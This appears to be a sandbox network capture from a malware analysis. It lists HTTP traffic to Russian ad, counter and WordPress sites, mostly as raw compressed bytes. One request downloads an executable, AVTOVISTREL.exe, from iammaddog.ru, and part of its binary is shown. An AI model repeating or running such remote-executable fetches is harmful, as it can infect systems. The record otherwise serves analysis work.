2ecb.............}kw....g.W.yd.....ld...Z=n.D..R..K1...$..f...)D...[.~T......9..>...Guuuuuuuu..}.............L..4..".~.........b...zQMvv...by:....].2..E.w...`.gzn*C]_al.d.....rU[. u...:....<.Z/...N.YY.m.....^.i........"..:)kh.t.?.Y...t].....eq..:. .}....R..W.Jm .....e].Hk...l...`-.T.....,.).19C........xW........ .U.T.d...V.J...Rg.L .q....rhy..eI>......1P...o.FqZ'P<....:..UR.....B..c....?.|.....#@.T.K>.U.J..2 .p....&...,.RE...RC^] .WeVg..PU.Y}.....Y....e..^..@1...'o...[.?..}.v.@....................o.....7...|...k.z...........J.....qQb....).S".[.....F.Z.iv.M.k..29.....fC~....g..h....f...:.).....bWu.gs........oH..e.N..677..R......R...>........_.=}.....66J]/.\...........tE.C...K.....q..zW....a.5~B.."V.......\./....tR..C.._....R.P.x.S...u}Q..3.<.hSq..q.c.;L..CL....$6..,.?..*f.. .*..f...o:..e.........cK..C....L.JTNM...E..a...7g8'P,L...F.eqU...........U.....S......".....N.W_.t..K....ic.y....G.C5{D..t~^_.@T.......P...L....c.....0e,...I....A....n!..m......:.Y2....N.$....}..7.2.....".....K.j....<Fm:#..).eu....*...MbN....&w..Y...q..1.....dlHD....'....s.X.G..Dv..'...1L.....S..e.4...!..<.....N.....u..C..#=.ux...IV.....@.N.......C./.\.Y1]V&;.iD....X...J.....e_. E.......e>....Hf..2.K.%.@r..aF........Fa.yo...Y..........jL0G.e.\. ..N..*N"....3.:H..6..V<lzy.R..8..).K3..U....q........8Mf.Z......:9]f...%r......A....M;F...1$..YR....9..0....p.../....._...v...X... .c...=.J.Z..zvK<....f. P......... . jg....I.W.?T..A....4q.4.5.gE...].{.bV-..7..}HK.'S.J.ERV.e^.1.tj^.P6.iv..f...r..<....5...ZP...g..@

<<< skipped >>>

GET /Contema.js HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: j.contema.ru

Connection: Keep-Alive

GET /Contema.Main.js?v=05-06-2015 HTTP/1.1

Accept: */*

Referer: hXXp://acg.contema.ru/getbanner.ashx?cid=5199&size=3

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: j.contema.ru

Connection: Keep-Alive

Cookie: contemauid=11883737594766; contema_info=psISDYwYkaiUd5b7753qGwOSVddFOlV6

HTTP/1.1 200 OK

Cache-Control: no-cache

Content-Type: application/x-javascript

Content-Encoding: gzip

Last-Modified: Thu, 30 Jul 2015 16:30:24 GMT

Accept-Ranges: bytes

ETag: "0d0ef8e5cad01:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Thu, 17 Sep 2015 03:04:02 GMT

Content-Length: 2139

...........Y.n.8..^...h...U...X....M....6..{.EQ.h..u.EW...Z?.}.G.W....H.J.......".3...?R......"../H&.9[.B.Y:$..?#.liI......<..l.`....MR$.i.lNB.....MY.:3c..M......Z.X.[`..Y..,..3.#...9@....@q...I........i..P7,.,[,%0..1.......!..{.....t[2.....h|`<....,..F.0...gAD.4.......%.......r.|..)..^.`X..`.xz..1......l'Q^C......>8..O..Eg.........P....}.m.....j....w..L..._..j..9[.:..>%.l...Yi.qQ.M...eX.~...W.....{.f|N.x!....3..[.D..gV.g..~d.....0Z.{.>...N...w.f.|.RG...n{.....1(.x#hX=A.i.H..B..g............'....P..H.f..i...S.n.........^.e....~.l. 6 i.....c..eD..b...-bRI..M......>..a..p.vxO..5....R..2m.../.....Q.&...F..=.... .*.]w.......IZ....8......yV..Ab......l.)...2...t5)..c..t jbC.& >:.H.....o........U..d.)z...F.5!:......x.$.@......\........O....O$,.N.hU...T..........{.......gJ.Wv..6.,h/....6:..-v.t..B..E....c..:....X.%.....s. ..%....Bi.......>....8J...}.<....o...7K.,a.Z.6...\...0........1.E...Z.1....SK..7....2.-...5.-.N.2|.$..J5C'k.<"....N....Zu....e. ...N..<....)...]l.I...D.......^D..{...K%.6....dP..aR.....q~7...P.......e.7.:/I...p...$`..bo......s......:E.....>...h...c...w{.......}S........|..l.....e7..t...t...n!....`...p....s...A..-...Y..wU.8.S.6..f....s.....a...}...7...K*......e..,......t6h....d...:79..._.......k:..l..="......o'...6.t......M.-.mZ.]....l.....S.......c2}u.fL&?..WS2~7.......B.....1b.@...]]..A...h{\K.......x}...-.C>y{3........C..C.A".a....W...K.w.ae.K..........8...Q......&..........hj..o.............`wC.]....2C.....L.......)....$P...q..d...W!P_=...V....%.I...z..0.fi R.

<<< skipped >>>

GET /i712/1508/f7/cd706a18ba56.png HTTP/1.1

Accept: */*

Referer: hXXp://gamest0rage.ru/index.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: s020.radikal.ru

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: image/png

Last-Modified: Sun, 16 Aug 2015 05:07:04 GMT

Accept-Ranges: bytes

ETag: "12f02664e1d7d01:0"

Server: Microsoft-IIS/7.0

X-Powered-By: ASP.NET

Set-Cookie: __RADVUID=87681ed6826d6d97; expires=Mon, 16-Sep-2030 21:04:11 GMT; path=/; domain=.radikal.ru

Date: Thu, 17 Sep 2015 03:04:10 GMT

Connection: close

Content-Length: 491350

.PNG........IHDR...X.........~..o....sRGB.........gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....IDATx^..u.f....ZR.. .....9.*.....U,U..J..,..m.d.,2...nO...azzz........=.Y.......9..u.<'`G.8.Ol.....~...|......?...G..#.......q..8...F 11......c..9..9..9..9..9..9..9..k.dee..`..1....[hh0)$p..0~...j.~..wx..?.#...@..aa.#d"....w...6.....p....:Y.~O>.~.|pp.K.!.\=.]yR...RX.....iT.....}.........}.i.8...L..(Gk...8L.G...xy.'...@_.[.E..'..h.........@{n...=..?na...t.|...Q4..(.@9.}^....vj..z&....._....{>e<<.<..|.....'......7'&..i....36&.bH..7.*....D........9Q.?...:.....y.#I^...H.>D....mq.1$.q1......v....g.....{.$oL.>..reT..........xW.7..o.......q.....>.................b.........W9.'....'...C.y..........M........k.......h.c-!A.3...h..%..y.......8..}..w..e...D..Q....T.=Z...........=j 11....]....FJ....DKQJJ....K"...=..........\....e....1.LJJ.)...h[.s......o/%....:.....o.OKI.T....c.|.u1...hG..............:.1R.5>.].........E...;Q..y..s...'/..Ck...}......6....$.W.....(.RI......>.o.}{Q<g,R.]J%.qc<U&&....q...k=w.30.....M.\.D.#0..;rs...W..h..D......jCe._.../.?.m(.{..6.y?...=...2v...zh..1pMOK1?.y..*....N^=..H...tG.7~^[..qp..}.z....qS.D...[S..Ds......8h...O.....q.}.=..R..<..S- ......t...........,w.....,..6.gS....l...L.O..Y....z.#s\kg`..\..._.~.......os....n.a.S}.`..4.........3.0?.......Iw...L ..."Rqa...dY..kYq....L. .yA^.D>.-R.*_.m...z.W.K.r.3....]..=...|., ..ee.....l.i..u..xt...E.VB.R....E.,;3..q...f...C..v!...?.z...61.n\....<.w...n\HS.G}T...:.qP~.V.s...)....X.....b..7..z

<<< skipped >>>

GET /informer/27094649/3_1_20B8CDFF_0098ADFF_0_pageviews HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: bs.yandex.ru

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Thu, 17 Sep 2015 03:04:11 GMT

Server: Phantom/0.0.0

P3P: CP="NOI DEVa TAIa OUR BUS UNI STA"

Last-Modified: Thu, 17 Sep 2015 03:04:11 GMT

Expires: Thu, 17 Sep 2015 03:04:11 GMT

Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0

Pragma: no-cache

Content-Type: image/png

Content-Length: 1523

.PNG........IHDR...X.........c.......IDATh...[l.U........mKK.. .......\$Y(.....".1h.._......@0.&..Ex1...........$j..-..R6....;3.........R..%...7.s.o....3..[.$q`.v.&q7.....M.<2.4.N.;o..*.^...e=..\:..z4t56...;x.....p..u.<..R...T..E....yL......-p..q.U...5...w-0.......j..Q>.....sK!PtMC..Erd.....G.B.=..}......I...U'.....*..P[[....|.W1h.ga..H.TMC.2...F^z>..jH)..g.....Bq>.[*...wU.$..f.C\...n.U.0...D.T7R.^".r..Q.....Yt%.5D. ..fn.....:.i.v..MH).[.....e.[..3.@.T...WGm$18....78<....@X........$bN ..PT....s0@nf.c...nX...........9...p.....}.n..qp.......@....oOJap. .j..~dZ.-..P...H43W....{S\.xQ;.<y`~.c.e.O.c.P..W....R.h...M.0m.....t..sy....#.{{...)..Gu.o...d....S.R4.W.y.qk..!.9V~.....jH..L..dr.......g..........;. ..b.}...N.~S.............. ...E.k...EU...Z`...9..?8g$...9...Q_.,........./N..-s.F..x.......Vl....OQJ..D....P..3....!...WvJ....B}' ..{..]..j...7.2:.k...(s.P....B....0.r>.:..J....{..~...5..7.h...x....5~\...F.9.....2.m0r.,....P.p4..|........do... ...O7.yk.t.;.Z.....I..C.Sf`.2#..`F.6..4..Pu./....w.h...s...K.Z!.......#..N.(...;8....|..W......5#....Z.q .,. ...K.DQ5.B...H.9...n;.:.pf...../.=M.....T.q....m..q..4..%.6..<....%..V.G.;.....}.5XSC.k..]..._o.....h.....n.....m.......l.I:...N.A...}.....h....x3g....'w...K...;@......88..`M..[...f.K...l.g.....l....Y..."!.}..k.8..{K=...t.).S{.......^K......=...B............. ^N....l..x.V..A.......N.4.Q..;....RJ.!......p......Gj..7.>...........MpB..Lp"..a..|0.4..(..cv....?....W.....9F...nc.>......hv...8...g.N.<..WAVB...e......._...(.i.......R..9.k.J&lt

<<< skipped >>>

GET /ajax/libs/webfont/1/webfont.js HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: ajax.googleapis.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Type: text/javascript; charset=UTF-8

Last-Modified: Mon, 04 May 2015 18:20:57 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

Date: Thu, 17 Sep 2015 02:10:36 GMT

Expires: Thu, 17 Sep 2015 03:10:36 GMT

X-Content-Type-Options: nosniff

Server: sffe

Content-Length: 6433

X-XSS-Protection: 1; mode=block

Cache-Control: public, must-revalidate, proxy-revalidate, max-age=3600

Age: 3212

...........;k{.8... (......I.....$M.l.$......#@`..........H..cww..K"..4.........v....8...^..L...$..h.OL.4.-.A.7......<.X...............".Rm..k...rH'.v...).........5.B...i...f.....MgILS.i....}.*..I..y%.X..3..qA.P..DzR.3..[,....ZY....V......]....r..4aE....<.....Fg..O=@3..-.5.......^.q.....YX.h.p. ..<..e.^.zpj..(FSM?..N/u.......>.^.:....}8|.......R;.....=?.:=?......'....sSc@-..}..x.@3FJ.......)\..L.T......GK.9...e.,O.D.....@...`.%.4.i...............^di...(..v`=...h.....0.<.]..%....2...x .. .B!...#..>nj,.4..f...)KK.q........(5...>..Y9....A.-d..A-..0i......'z..84.QRN.l...y.......z...4*'....Z...9..fyVf...Y........{.........4.8.P....a)O..A...}x........z4....q...}..H.Ngw.h..Uf. .id..>.....S..[.Z..I.Rj{.B.Fb...DE.I...i..4[,....M.B...S...q'.h_...uxc.z..l.tE.U.......3X.$a8..;JzP1.e...\J<..ep.@.......|.^...Syg...1...K.....Z.m.Eq....7..6t....&..L.%..;..6....8...*8..h.Z...B..9..I. %...........F..C.K...qj*Ip.P.#.E.....t7/.....7.QE.|*..t..../....Al8.U<e...E.d.........!/Gc.w}..&:.....<.U.. ..u.....}..xRw..u........f...APAD..,......Ec..>.;.P.f....5....AV. ..;.k;..|T......]...xb.........Y..... g...L.62.}.B.....3u].G).!..o.^....5...s.n...A2].#B..o..(|..v.]..n.@.]T.,.#.RR...:...x,.$.icX.,qt..`.0...B....*......xX.m..........[*.'qz..`h.[hl1a...I.B.3.,......WH"..oei.^.U.T.... .|..O.2...O..t.....B...sT.v...............x.G./r......h.>4`B.^.f......s.\r..a.....q&..G..!....=.....}.L...?1..............A..r.g...............,k...8".....>......KN2.1.J1G'....|v..8...".....x.O.W...)0w.........CjcKN....Sz

<<< skipped >>>

GET /hit?t22.7;r;s1276*846*32;uhttp://windowsten.su/;0.5596613285630375 HTTP/1.1

Accept: */*

Referer: hXXp://windowsten.su/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: counter.yadro.ru

Connection: Keep-Alive

Cookie: VID=2SGon72LkB5N1L-Ysf

HTTP/1.1 200 OK

Date: Thu, 17 Sep 2015 03:04:11 GMT

Server: 0W/0.8c

Connection: Close

Content-Type: image/gif

Content-Length: 1469

Expires: Tue, 16 Sep 2014 21:00:00 GMT

Pragma: no-cache

Cache-control: no-cache

GIF87aX..........6.....R..vF.Z........r6BBB....b2B...~F.b...^.V.....s,&.......Q..s....j&.z:.[#&&&b*........R..n6bbb.j .......b".j4..l.Z.8...^......H..W..y..B....>.J:2.f..\$.w4....|;.^..r6VVV.n@T&...f2".t2....vvv...:.&..VVJB222.rB....b.......NNN......jjj...~~~.d0^*.0..~6...N.V..v>....Z.....:.J"...F..f....zB.^*j..>....N..~.~B.>...........Z.....n'.V..f&.....Z....v:ZZZ666....:..R..^........r:.f...b,....X.......P#.....q.. ....k..k....6.6....$....mD#..........._..=..'..'.....31..(....z..z8...I.I.....3~3...."...n.n..5..7.g/z....z.....8I....es....m..).1.a9s........xh....o..}....h.`A.........7%.h..A.M.RrJ1A...=..( ..h.eF..K.@ .....T.....Z`.....W...<`.................<5..jU.W......S.M6..c.H..d....t_.~L.A=.g.]......./.4I).-`..3...F........^....K...........r$...E..1..~..i...K..[;.f..%L..B...L)..."....V?......T.v.<.{...L..../...qq^z..c.4..gY| ...K.dW.v.....F.@.......... I... }..'.;..._QP4.CQ...@....\s...........I.b.....D.G.Q.....B.m.......%T..p.^B..".GZ..QH(Q..Q<.B.l.P.z.e..7I1.fCzI..}e..$.i....-@...9.5"6.y)..*.9d...z...*.`....F.r@0..V6.]t~..g..Y*f.F....s8.........r.D..j..B...i....G.O..i......S.;.l'..k.D.Vk....B.XH;m..0..........g...>........dy........-XaT...{@....)A?.~...d.k..dul..Q.)..J@A...|...=....AZ....RT.E.wl....k-......{..cR.J.........].3..M...?....d.`4l...v.{..].P..q.U........*y....Pq.....j..io.3.V.L..r.R......mB..x...NV.o#.4......@.....1=&..o<..<..w.s...._|.z. .]......O:..v......=.0..3...Loh...WT....g....w...&..?....`....0..C....../....o.......E...;..

<<< skipped >>>

GET /img/ilogo3.png HTTP/1.1

Accept: */*

Referer: hXXp://acg.contema.ru/get.ashx?cid=5209&format=block&items=3&width=300&height=500&ilogo=1&font_family=arial&link_color=2063e8&border=1&border_color=141bf7

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: css.contema.ru

Connection: Keep-Alive

Cookie: contemauid=11883737594766; contema_info=psISDYwYkaiUd5b7753qGwOSVddFOlV6

HTTP/1.1 200 OK

Cache-Control: no-cache

Content-Type: image/png

Last-Modified: Fri, 27 Mar 2015 21:09:41 GMT

Accept-Ranges: bytes

ETag: "ce906357d268d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Thu, 17 Sep 2015 03:04:03 GMT

Content-Length: 3675

<<< skipped >>>

GET /img/ilogo3.png HTTP/1.1

Accept: */*

Referer: hXXp://acg.contema.ru/get.ashx?cid=5209&format=block&items=3&width=300&height=500&ilogo=1&font_family=arial&link_color=2063e8&border=1&border_color=141bf7

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: css.contema.ru

Connection: Keep-Alive

Cookie: contemauid=11883737594766; contema_info=psISDYwYkaiUd5b7753qGwOSVddFOlV6

HTTP/1.1 200 OK

Cache-Control: no-cache

Content-Type: image/png

Last-Modified: Fri, 27 Mar 2015 21:09:41 GMT

Accept-Ranges: bytes

ETag: "ce906357d268d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Thu, 17 Sep 2015 03:04:03 GMT

Content-Length: 3675

<<< skipped >>>

GET /img/ilogo3.png HTTP/1.1

Accept: */*

Referer: hXXp://acg.contema.ru/get.ashx?cid=5209&format=block&items=3&width=300&height=500&ilogo=1&font_family=arial&link_color=2063e8&border=1&border_color=141bf7

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: css.contema.ru

Connection: Keep-Alive

Cookie: contemauid=11883737594766; contema_info=psISDYwYkaiUd5b7753qGwOSVddFOlV6

HTTP/1.1 200 OK

Cache-Control: no-cache

Content-Type: image/png

Last-Modified: Fri, 27 Mar 2015 21:09:41 GMT

Accept-Ranges: bytes

ETag: "ce906357d268d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Thu, 17 Sep 2015 03:04:03 GMT

Content-Length: 3675

<<< skipped >>>

GET /img/ilogo3.png HTTP/1.1

Accept: */*

Referer: hXXp://acg.contema.ru/get.ashx?cid=5209&format=block&items=3&width=300&height=500&ilogo=1&font_family=arial&link_color=2063e8&border=1&border_color=141bf7

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: css.contema.ru

Connection: Keep-Alive

Cookie: contemauid=11883737594766; contema_info=psISDYwYkaiUd5b7753qGwOSVddFOlV6

HTTP/1.1 200 OK

Cache-Control: no-cache

Content-Type: image/png

Last-Modified: Fri, 27 Mar 2015 21:09:41 GMT

Accept-Ranges: bytes

ETag: "ce906357d268d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Thu, 17 Sep 2015 03:04:04 GMT

Content-Length: 3675

<<< skipped >>>

GET /mywork/AVTOVISTREL.exe HTTP/1.1

Host: VVV.iammaddog.ru

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx/1.5.10

Date: Thu, 17 Sep 2015 03:04:05 GMT

Content-Type: application/x-msdos-program

Content-Length: 956928

Connection: keep-alive

Keep-Alive: timeout=15

Last-Modified: Sat, 22 Nov 2014 08:58:14 GMT

Accept-Ranges: bytes

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......(...l.x.l.x.l.x..<..n.x..Z..n.x..Z....x..Z..h.x..Z..i.x.l.y...x.....g.x..r..m.x..r..m.x..r..m.x.Richl.x.........PE..L....dpT.................&...T......0........@....@..........................p-...........@......................... .".....8."..............................."..... B..8....................................................................................0.......>..................@............0...@.......B..............@................p.......L..............@........................N..............@............0...........N..............@....rsrc................N..............@.............!..........P..............@....data.........".....................@...........................................................................................................................................................................................................................b..8;....mt|.....v..L.... .*..TU...8[#...@..J...>....!>.6.z..7n....31lF....{bb.K...@_...wM.Wq\Y..b...85....!.'.W.:..B..!a.J.}o@:.W............o$..:.@?.H.!..P.7.mH:iP......G..)@}W~.......S..... ..p...J.{|.*....&..n3.N..r............f...!.....|t...}..v9?...X.I..@..`...Sx..^I.....X...$2B.@.~..r...yw..O.U. ...._.[r.x..MA$.8....d6..mv......OwO8t...Dk......06....O...xCH.....o.....ol6.AL...fD.~.`.G.........7.....f..".{%...E...L;..{..vOM..!.f.J.FnP..b....S..B.....ky^q.......[..... ...S..]h.B.}t.j...}.e.

<<< skipped >>>

GET /getimage.ashx?imgfolder=72733171-0542-43d6-871b-3d3f96c5af37&id=31&extension=1&adv=banner HTTP/1.1

Accept: */*

Referer: hXXp://acg.contema.ru/getbanner.ashx?cid=5199&size=3

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: img.contema.ru

Connection: Keep-Alive

Cookie: contemauid=11883737594766; contema_info=psISDYwYkaiUd5b7753qGwOSVddFOlV6

HTTP/1.1 200 OK

Cache-Control: public

Content-Type: image/gif

Expires: Thu, 24 Sep 2015 03:04:03 GMT

Last-Modified: Thu, 17 Sep 2015 02:04:03 GMT

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 17 Sep 2015 03:04:02 GMT

Content-Length: 45272

GIF89a.............e{.Ic........*0.....|.............QV......................K....uwy..$.............ns......j..O.'...Kg.Yt.e.A..m...mmq0........y.....ks......................Rl...r..Q...........o}...k_.......|...................Rk.......}..G.4...............]s.q..s......r..........s.g..J|..&....V.........nqs...........N.v2Y.I........<.....}............p.....o.......Q..lhjkv..y....X........W}.a....:Af.W......3.....6.#..>q.Q..y..........TK..f{b".....j.....`...k..<..D`.2.-......................yA.{......?................^c...............J.E...{tn.........O[}................A5............9./.....t!~.................wN...#....................4.).........<Y... ....................B...|......|..........KLd...`df.pf...k.gG8)..................xk........................}eW8Z]n...!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.2.2-c063 53.352624, 2008/07/30-18:12:18 ">. <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:dc="hXXp://purl.org/dc/elements/1.1/". xmlns:xmpRights="hXXp://ns.adobe.com/xap/1.0/rights/". xmlns:photoshop="hXXp://ns.adobe.com/photoshop/1.0/". xmlns:Iptc4xmpCore="hXXp://iptc.org/std/Iptc4xmpCore/1.0/xmlns/". xmpRights:Marked="False". xmpRights:WebStatement="". photoshop:AuthorsPosition="">. <dc:rights>. <rdf:Alt>. <rdf:li xml:lang="x-default"/>. </rdf:Alt

<<< skipped >>>

GET /wp-content/themes/mesocolumn/lib/scripts/superfish-menu/css/superfish.css?ver=10.5.6 HTTP/1.1

Accept: */*

Referer: hXXp://mkra.ru/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: mkra.ru

Connection: Keep-Alive

Cookie: PHPSESSID=5b4db1e2b212aadf9306a998e9cd9604; uid_zxcv=258cc02055fa2da69df618df030d1502

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:07 GMT

Content-Type: text/css

Last-Modified: Fri, 21 Aug 2015 20:31:31 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

ETag: W/"55d78aa3-1b8f"

X-Powered-By: PleskLin

Content-Encoding: gzip

6b0.............Y.n.8.}..b.."m`9.sic..zq.b....e..Z.,..(.T....;C],..4m...K.r...g.......VWW./_?...W_.....|y<.....8.@....~<..t#..h4r..Q.|_..E......."./b...x.0........r...b4.R/4.,............Q.q.....u......o..Cz3;.g8>....d.(N.@ek.TA...Z..i/...sX.H......=..`7......Db..k....Pb-"...T.!O.68.q..|Z..C..........,..D.i.D....S.1-....Q'_.$b.u.I..#..3.1...."..|.3..Z.>O.4_.......pm...b.M..6alG.'#..........D.......YT.3..7. ...E..v|...0..,..W..I......... 4..c....pD..[.tqA.:..V...}...}2.&S!...\U..a.N.~._..!..F..Y{...:........o....n.6 %..H`....j...y...<.....^.=............M...........<{.....k.a$..Z.I..:".k.}..2.}...w..swE>..7....d..-...a..B...6Y.F.#W...Zn...sC[w.v.....o..sO..uQh}.P..'.$1=..G...t`6.@1.NY..."J.%B.../..P.|.....8..\.....v...=.N?.2...).{....cfwrr...k,.Yr.X..........&..f[.]......^$rl,1.A0...#.^.V.......JX<....*...a.....7.us..[-....Z...S|.e}....1..u..c....#W".....&0....<N....bie....)....m.7..z......=.l'...u..7..a..>{C....zr...E<Z.7..3U..k...DR>%.g...#.i....Z..X.D..v.b.<K).4kv..*.Iz.2o5..C...O"...?..ld..N.r....##..X..Sa..n......C> ..C'.b.........{.(F.a..o......3.W.....S..3.......G...:.YG.NF..Sd.....Q......s.MlQ.....gx...>.....8..sH.........]....z..~v..LS.*.U.V...6o&".Fn.3R.)i.......-..ej.*..7....6r %....x^..4.7...P......S.........Tp.b.c.....PR...a....L..gv..).PjRP^...p}......Fek*G.*.L.....3......3g...R..sG..'#..MY...GEqL....hE....2.>..ia4.....tzl..:.9v..g.......N...48..~..m...../...?Y........p.....^...!.-....5.gDX..6.G.|n.k<...g..-.UY.........7f..6........ruk.1.7]#..nH.Y.

<<< skipped >>>

GET /wp-content/themes/mesocolumn/lib/scripts/fontawesome/css/font-awesome.css?ver=10.5.6 HTTP/1.1

Accept: */*

Referer: hXXp://mkra.ru/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: mkra.ru

Connection: Keep-Alive

Cookie: PHPSESSID=5b4db1e2b212aadf9306a998e9cd9604; uid_zxcv=258cc02055fa2da69df618df030d1502

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:07 GMT

Content-Type: text/css

Last-Modified: Fri, 21 Aug 2015 20:31:21 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

ETag: W/"55d78a99-5644"

X-Powered-By: PleskLin

Content-Encoding: gzip

10cb.............\]..6.}.... ;........$..b.}..}X.~..D.L..BI.1...%%..R.....v2-....aU.X....l.\..}..I.o....?.....I~~.M.oM....._...K....L...R7??.........x......_.=g.6'.|.,O..2.E..e.V..?....E........to...1.......;...C[....@..N./R....t-E..n..y............Ju.}......?}.._..#{......D.L.....^.GiT..V....]....Q...(.%.%j.=.x.....t3./........'..[.....9.2UW.x.?...QR......x....Nu..dU|.....iT*...x(.Q....f.M...E...Y.FJ>..j...K......}QYs./z.y.......r.]m..[q;u.....X.,.;3.....c.qK.))Q...&.......N......}.J!.f?...v.P.@....a./.........bda..,...A&..I..............5...I..m..?Mg....U.T.>_...........f....\..f;....K[&....'..).&......jAe..z....(......~.r.......{FFd......1:.o....Y................n"(.......$",........... ,.j$.....",.",'DX."......k".........a...."lF"lz...(z....Z4..:...94....u..Su..#......KJ..3..M..kR..~..F.ojF...8..:.n.D.O...2..I...H.^L...3..H...QZew.y....j.p...Q5.....Q....z/RgU.....N...z...7...p.D.H.V;....o.z..M..]e...`Y...|.......7...NI<....m......b(%,...G..3.2...S.4.:.(...........p....T9%W.>!V8...h...8...c6qt.6.mt.h.Q#./.13...........x...n.&....hD..Nl.}....>J... .:....h.....F=n ..$c....W.|./.S.8...Z*....nj......AmM..k..C..S...K..O..-......1.....-..l8u..n..8q.v..... .ut.s.[X..?...d@.Q#..{.....Ev.k?.Xo...7Ip.b...c..OK3...E.........K.....aE.......*sU..s...<F.#.."r.y...=d.w.......!F..[..|..8.z.....{..1..].oot#...!........b .......y.`..............zz.S.UR..H=9.x...&.........yCVe.~`.g...o.l..=W.=...............g..?Tjt..-./Q..k...`..S...t.....Wi1........oc...R....7..j1.K......oc...R........6..{i(....U./Q|7.G...j.

<<< skipped >>>

GET /wp-includes/js/jquery/jquery.js?ver=1.11.1 HTTP/1.1

Accept: */*

Referer: hXXp://mkra.ru/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: mkra.ru

Connection: Keep-Alive

Cookie: PHPSESSID=5b4db1e2b212aadf9306a998e9cd9604; uid_zxcv=258cc02055fa2da69df618df030d1502

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 17 Sep 2015 03:04:07 GMT

Content-Type: text/javascript

Last-Modified: Fri, 21 Aug 2015 20:33:21 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

ETag: W/"55d78b11-1763f"

X-Powered-By: PleskLin

